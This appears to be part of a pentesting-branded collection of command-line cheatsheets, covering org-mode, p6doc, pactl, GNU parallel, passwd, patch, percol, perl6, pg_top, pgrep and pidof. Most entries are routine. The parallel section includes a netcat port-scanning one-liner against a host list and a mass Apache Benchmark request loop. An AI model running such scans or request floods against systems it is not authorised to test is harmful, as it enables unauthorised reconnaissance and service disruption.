# ██║ ██║██████╔╝██║ ███╗█████╗██╔████╔██║██║ ██║██║ ██║█████╗
# ██║ ██║██╔══██╗██║ ██║╚════╝██║╚██╔╝██║██║ ██║██║ ██║██╔══╝
# ╚██████╔╝██║ ██║╚██████╔╝ ██║ ╚═╝ ██║╚██████╔╝██████╔╝███████╗
# ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝
Begin org-mode ALT-x org-mode
Save CTRL-x CTRL-s
Export in other file formats (eg HTML,PDF) CTRL-c CTRL-e
# Outline
Section heading *
New headline ALT-return
Move headline up or down ALT-up_arrow/down_arrow
Adjust indent depth of headline ALT-left_arrow/right_arrow
Open/collapse section TAB
Open/collapse All CTRL-TAB
# To-Do Lists
Mark list item as TODO ** TODO
Cycle through workflow SHIFT-left_arrow/right_arrow
Show only outstanding TODO items CTRL-c CTRL-v
# Tables
Table column separator Vertical/pipe character
Reorganize table TAB
Move column ALT-left_arrow/right_arrow
Move row ALT-up_arrow/down_arrow
# Styles
*bold*
/italic/
_underlined_
=code=
~verbatim~
+strike-through+
# Heading
Header -*- mode: org -*-
# .emacs
To make org-mode automatically wrap lines:
(add-hook 'org-mode-hook
'(lambda ()
(visual-line-mode 1)))
#==============================##==============================#
# CMD ORG-MODE #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command org-mode in a clear format. This allows users to quickly access the needed information for org-mode without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for org-mode are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
113 - 🖥️p6doc
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the p6doc command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██████╗ ██████╗ ██████╗ ██████╗
# ██╔══██╗██╔════╝ ██╔══██╗██╔═══██╗██╔════╝
# ██████╔╝███████╗ ██║ ██║██║ ██║██║
# ██╔═══╝ ██╔═══██╗██║ ██║██║ ██║██║
# ██║ ╚██████╔╝██████╔╝╚██████╔╝╚██████╗
# ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝
# p6doc
# Perl 6 documentation
# Build index
p6doc build
# to get information about the function
p6doc -f slurp
# if the function name is ambiguous use it with the class name
p6doc -f Type::IO.slurp
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command p6doc in a clear format. This allows users to quickly access the needed information for p6doc without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for p6doc are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
114 - 🖥️pactl
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the pactl command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ █████╗ ██████╗████████╗██╗
# ██╔══██╗██╔══██╗██╔════╝╚══██╔══╝██║
# ██████╔╝███████║██║ ██║ ██║
# ██╔═══╝ ██╔══██║██║ ██║ ██║
# ██║ ██║ ██║╚██████╗ ██║ ███████╗
# ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝
# PulseAudio: set the volume via command line
# If you have more than one SINK
pactl set-sink-volume @DEFAULT_SINK@ +5%
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command pactl in a clear format. This allows users to quickly access the needed information for pactl without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for pactl are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
115 - 🖥️parallel
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the parallel command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ █████╗ ██████╗ █████╗ ██╗ ██╗ ███████╗██╗
# ██╔══██╗██╔══██╗██╔══██╗██╔══██╗██║ ██║ ██╔════╝██║
# ██████╔╝███████║██████╔╝███████║██║ ██║ █████╗ ██║
# ██╔═══╝ ██╔══██║██╔══██╗██╔══██║██║ ██║ ██╔══╝ ██║
# ██║ ██║ ██║██║ ██║██║ ██║███████╗███████╗███████╗███████╗
# ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝╚══════╝
parallel --tag echo '$(du -s {} | awk "{print \$1}") / $(find {} | wc -l)' \| bc -l ::: *
# Compute the average number of KB per file for each dir -> Shorter version using --tag
# Parallel Apache Benchmark -> (echo "https://example.com/"; echo "https://example.com/"; echo "https://example.com/"; echo "https://example.com/") | parallel -k 'ab -n 10000 -c 15 {}'
cat url_list.txt | parallel -k 'ab -n 10000 -c 15 {}'
# Converts all pngs in a folder to webp using all available cores
# As an alternative to the above command, this one ditches the unnecessary and complicated for loop in favor of a way faster multi-core approach for a task that's more CPU than I/O intensive, making it a perfect suite for GNU parallel
parallel cwebp -q 80 {} -o {.}.webp ::: *.png
# Clock
parallel -q convert -size 300x300 xc:black -stroke green -draw '{= sub l{ ($r,$v)=@_; $v*=atan2(1,0)*4/360; "line 150,150 ".int(150-$r*sin($v)).",".int(150+$r*cos($v)).";"} $_=l(25,$_/2+180).l(50,$_%60*6+180) =}' C{}.gif ::: {000..720}; convert C*gif clock.gif
# Tweetsized colorized
parallel eval convert -size 300x300 xc:black '{=sub l{($c,$r,$v)=@_;$v*=atan2(1,0);"-stroke $c -draw \"line 150,150 ".(150-$r*sin$v).",".(150+$r*cos$v).";\" "}$_=l("red",50,$_/180+2).l("green",100,$_%60/15+2)=}' C{}.gif ::: {000..719};convert C*gif clock.gif
# Shorter, faster radar (does not require numround)
parallel -q convert -size 300x300 xc:black -stroke green -draw 'line 150,150 {= $_*=atan2(1,0)*4/360; $r=50; $_=int(150-$r*sin($_)).",".int(150+$r*cos($_)) =}' R{}.gif ::: {180..540}; convert R*gif radar.gif
# Fast portscanner via Parallel
parallel -j200% -n1 -a textfile-with-hosts.txt nc -vz {} ::: 22
#==============================##==============================#
# CMD PARALLEL #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command parallel in a clear format. This allows users to quickly access the needed information for parallel without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for parallel are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
116 - 🖥️passwd
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the passwd command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ █████╗ ███████╗███████╗██╗ ██╗██████╗
# ██╔══██╗██╔══██╗██╔════╝██╔════╝██║ ██║██╔══██╗
# ██████╔╝███████║███████╗███████╗██║ █╗ ██║██║ ██║
# ██╔═══╝ ██╔══██║╚════██║╚════██║██║███╗██║██║ ██║
# ██║ ██║ ██║███████║███████║╚███╔███╔╝██████╔╝
# ╚═╝ ╚═╝ ╚═╝╚══════╝╚══════╝ ╚══╝╚══╝ ╚═════╝
# The passwd command is used for changing passwords for user accounts.
passwd root
Changing password for root.
(current) UNIX password:
#==============================##==============================#
# CMD PASSWD #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command passwd in a clear format. This allows users to quickly access the needed information for passwd without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for passwd are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
117 - 🖥️patch
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the patch command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ █████╗ ████████╗ ██████╗██╗ ██╗
# ██╔══██╗██╔══██╗╚══██╔══╝██╔════╝██║ ██║
# ██████╔╝███████║ ██║ ██║ ███████║
# ██╔═══╝ ██╔══██║ ██║ ██║ ██╔══██║
# ██║ ██║ ██║ ██║ ╚██████╗██║ ██║
# ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝
# Patch one file
patch version1 < version.patch
# Reverse a patch
patch -R version1 < version.patch
# Patch all files in a directory, adding any missing new files
# -p strips leading slashes
$ cd dir
$ patch -p1 -i ../big.patch
# Patch files in a directory, with one level (/) offset
patch -p1 -r version1/ < version.patch
#==============================##==============================#
# CMD PATCH #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command patch in a clear format. This allows users to quickly access the needed information for patch without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for patch are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
118 - 🖥️percol
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the percol command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ███████╗██████╗ ██████╗ ██████╗ ██╗
# ██╔══██╗██╔════╝██╔══██╗██╔════╝██╔═══██╗██║
# ██████╔╝█████╗ ██████╔╝██║ ██║ ██║██║
# ██╔═══╝ ██╔══╝ ██╔══██╗██║ ██║ ██║██║
# ██║ ███████╗██║ ██║╚██████╗╚██████╔╝███████╗
# ╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝
# percol
# adds flavor of interactive filtering to the traditional pipe concept of UNIX shell
# to install percol
sudo pip install percol
# interactive pgrep version
ps aux | percol | awk '{ print $2 }'
# interactive pkill version
ps aux | percol | awk '{ print $2 }' | xargs kill
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command percol in a clear format. This allows users to quickly access the needed information for percol without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for percol are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
119 - 🖥️perl6
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the perl6 command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ███████╗██████╗ ██╗ ██████╗
# ██╔══██╗██╔════╝██╔══██╗██║ ██╔════╝
# ██████╔╝█████╗ ██████╔╝██║ ███████╗
# ██╔═══╝ ██╔══╝ ██╔══██╗██║ ██╔═══██╗
# ██║ ███████╗██║ ██║███████╗╚██████╔╝
# ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═════╝
# perl6
# The Perl 6 Language Implementation
# to install perl6 (in Debian/Ubuntu)
apt-get install rakudo
# To install rakudobrew and zef (perl 6 package management)
git clone https://github.com/tadzik/rakudobrew ~/.rakudobrew
export PATH=~/.rakudobrew/bin:$PATH
# or fish shell: set -U fish_user_paths ~/.rakudobrew/bin/ $fish_user_paths
rakudobrew init # Instructions for permanent installation.
# to install vm:
rakudobrew list-available
rakudobrew build moar 2017.12
# to install package manager zef
rakudobrew build zef
# after zef is installed you can build and install perl6 packages
zef install p6doc
# After you have installed new modules and scripts with zef or panda
# to make the scripts available in ~/.rakudobrew/bin and thus your PATH
rakudobrew rehash
# See also:
# Perl language cheat sheets at /perl6/
# list of pages: /perl6/:list
# learn perl: /perl6/:learn
# perl one-liners: /perl6/1line
# search in pages: /perl6/~keyword
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command perl6 in a clear format. This allows users to quickly access the needed information for perl6 without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for perl6 are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
120 - 🖥️pg_top
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the pg_top command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██████╗ ████████╗ ██████╗ ██████╗
# ██╔══██╗██╔════╝ ╚══██╔══╝██╔═══██╗██╔══██╗
# ██████╔╝██║ ███╗ ██║ ██║ ██║██████╔╝
# ██╔═══╝ ██║ ██║ ██║ ██║ ██║██╔═══╝
# ██║ ╚██████╔╝███████╗██║ ╚██████╔╝██║
# ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═════╝ ╚═╝
# pg_top
# Display and update information about the top cpu PostgreSQL processes
# connect to port 5432 using user postgres, and database, ask for password
pg_top -p 5432 -U postgres -d database -W
# Interactive mode keys:
#
# A
# Display the actual query plan (EXPLAIN ANALYZE)
# E
# Display re-determined execution plan (EXPLAIN) of the SQL statement by a backend process
# L
# Display the currently held locks by a backend process
# Q
# Display the currently running query of a backend process
# X
# Display user index statistics.
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command pg_top in a clear format. This allows users to quickly access the needed information for pg_top without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for pg_top are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
121 - 🖥️pgrep
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the pgrep command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██████╗ ██████╗ ███████╗██████╗
# ██╔══██╗██╔════╝ ██╔══██╗██╔════╝██╔══██╗
# ██████╔╝██║ ███╗██████╔╝█████╗ ██████╔╝
# ██╔═══╝ ██║ ██║██╔══██╗██╔══╝ ██╔═══╝
# ██║ ╚██████╔╝██║ ██║███████╗██║
# ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝
#==============================#
# CMD PGREP, egrep, ngrep, fgrep
#==============================##==============================#
pgrep myscript.pl && echo still running || echo "done" | mail admin
# Use the && and || logic operators for results based process control.
pgrep appstreamcli && xdg-open http://bit.ly/appstreamcli
# Ubuntu users, if appstreamcli is running right now, check this URL. 100% CPU bug
pgrep rsync | xargs ionice -c3 -p
# Adjust all rsync processes on the system so that they have lower (idle) IO priority.
pgrep -f bash | while read PMATCH;do echo "$PMATCH # $(grep -e nr_involuntary_switches /proc/$PMATCH/sched|tr -d '\040\011\012\015') # [sysc]:$(ausyscall $(cat /proc/$PMATCH/syscall|cut -d' ' -f1))"; done;
# sched && syscall app state awareness basics
# example or test, basic awareness on app state, mostly for copy-paste reasons, requires auditd (ausyscall), rekt echoing (everything here is rekt) This is sample output
1106 # nr_involuntary_switches:2 # [sysc]:pselect6
1857 # nr_involuntary_switches:3 # [sysc]:wait4
1912 # nr_involuntary_switches:3 # [sysc]:wait4
8901 # nr_involuntary_switches:0 # [sysc]:read
9186 # nr_involuntary_switches:2 # [sysc]:wait4
9238 # nr_involuntary_switches:24 # [sysc]:pselect6
14966 # nr_involuntary_switches:1 # [sysc]:wait4
15054 # nr_involuntary_switches:9 # [sysc]:wait4
21137 # nr_involuntary_switches:0 # [sysc]:wait4
21628 # nr_involuntary_switches:0 # [sysc]:pselect6
22719 # nr_involuntary_switches:0 # [sysc]:pselect6
28808 # nr_involuntary_switches:0 # [sysc]:wait4
30983 # nr_involuntary_switches:0 # [sysc]:wait4
31179 # nr_involuntary_switches:18 # [sysc]:pselect6
#==============================##==============================#
# CMD PGREP, egrep, ngrep, fgrep
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command pgrep in a clear format. This allows users to quickly access the needed information for pgrep without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for pgrep are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
122 - 🖥️pidof
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the pidof command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██╗██████╗ ██████╗ ███████╗
# ██╔══██╗██║██╔══██╗██╔═══██╗██╔════╝
# ██████╔╝██║██║ ██║██║ ██║█████╗
# ██╔═══╝ ██║██║ ██║██║ ██║██╔══╝
# ██║ ██║██████╔╝╚██████╔╝██║
# ╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚═╝
# The pidof command gives you the process ID of a running program/process.
pidof nautilus
2714
#==============================##==============================#
# CMD PIDOF #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command pidof in a clear format. This allows users to quickly access the needed information for pidof without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for pidof are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
